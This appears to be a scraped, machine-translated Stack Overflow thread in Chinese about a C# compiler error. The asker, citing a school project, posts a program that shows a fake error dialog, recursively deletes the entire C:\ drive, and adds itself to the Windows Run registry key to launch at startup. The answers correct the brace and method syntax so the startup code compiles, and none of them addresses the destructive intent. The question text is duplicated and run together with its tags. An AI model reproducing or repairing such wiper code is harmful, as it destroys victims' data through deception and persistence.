C# 命名空间不能直接包含字段或方法等成员?
我试图创建一个应用程序,在启动时删除用户文档(我知道这听起来可能有恶意,但这是一个学校项目) 但是,我得到一个错误“名称空间不能直接包含字段或方法等成员” 仔细看,它看起来不错吧?我希望第二双眼睛能帮上忙,因为我到处都找不到相关的解决方案 诚然,由于我的基础知识,我在网上和书本上使用了很多帮助,而我对c#的了解是有限的。因此,可能只是因为我很愚蠢,但每个人都必须从某个地方开始,对吗 代码如下:C# 命名空间不能直接包含字段或方法等成员?,c#,methods,namespaces,field,C#,Methods,Namespaces,Field,我试图创建一个应用程序,在启动时删除用户文档(我知道这听起来可能有恶意,但这是一个学校项目) 但是,我得到一个错误“名称空间不能直接包含字段或方法等成员” 仔细看,它看起来不错吧?我希望第二双眼睛能帮上忙,因为我到处都找不到相关的解决方案 诚然,由于我的基础知识,我在网上和书本上使用了很多帮助,而我对c#的了解是有限的。因此,可能只是因为我很愚蠢,但每个人都必须从某个地方开始,对吗 代码如下: namespace Test { class Program { static vo
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
您的代码在
SetStartup
周围严重混乱。如果你按照正常的缩进,你会更清楚地看到发生了什么。在VisualStudio中按Ctrl-E,然后按D,然后重新格式化文档,这将使事情变得更加清晰
看看这个(在我缩进之后):
它试图在类之外声明一个变量(rk
)。您还有一个没有主体的非抽象方法,并且在末尾缺少右大括号
我怀疑你的意思是:
public class Program
{
// Note: no semi-colon, and an *opening* brace
private void SetStartup()
{
RegistryKey rk = [...];
// Other code
}
}
// And you'd want to close the namespace declaration too
声明两个同名的(非部分)类时也会遇到问题…如果括号和分号放错了位置,则应该是:
private void SetStartup()
{
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
//..
}
在我的例子中,编译器在Razor视图的第1行报告了这个错误。守则如下:
@using Microsoft.AspNet.Identity;
@using MyApp.Helpers;
我只是改变了使用顺序,问题就解决了
@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;
我的同事还指责他们面临这个编译器错误,这个错误可以通过改变名称空间的顺序来解决
我使用Visual Studio 2013 update 5和.NET Framework 4.5格式化代码后,您将看到类外有代码
回滚了修复格式的编辑,因为缺少格式实际上是问题的一部分。如果OP的代码从一开始就被正确格式化,他们可能已经注意到了这个问题——因此,将问题更改为假装已经格式化是隐藏了一个重要问题。我现在得到的“名称AppName在当前上下文中不存在”的可能重复项chkStartUp也一样?@user1224163:对于类
程序
,您有两个不同的声明,这也没有帮助。。。我们不知道chkStartUp是什么……分类的,我是个白痴(很明显)。。谢谢你的帮助,很抱歉浪费了你的时间!在Visual Studio 2012中按“Ctrl-E后跟D”不会重新格式化,窗口底部的栏显示消息“组合键(Ctrl+E,Shift+D)不是命令。”您在哪个版本的Visual Studio中使用此命令?@MatthewNajmon:不是Shift+D,只是D。我当时可能在使用VS2010,但我刚刚登记了VS2012和VS2013,结果是一样的。转到“编辑/高级”并查找“格式化文档”以查找快捷键。
@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;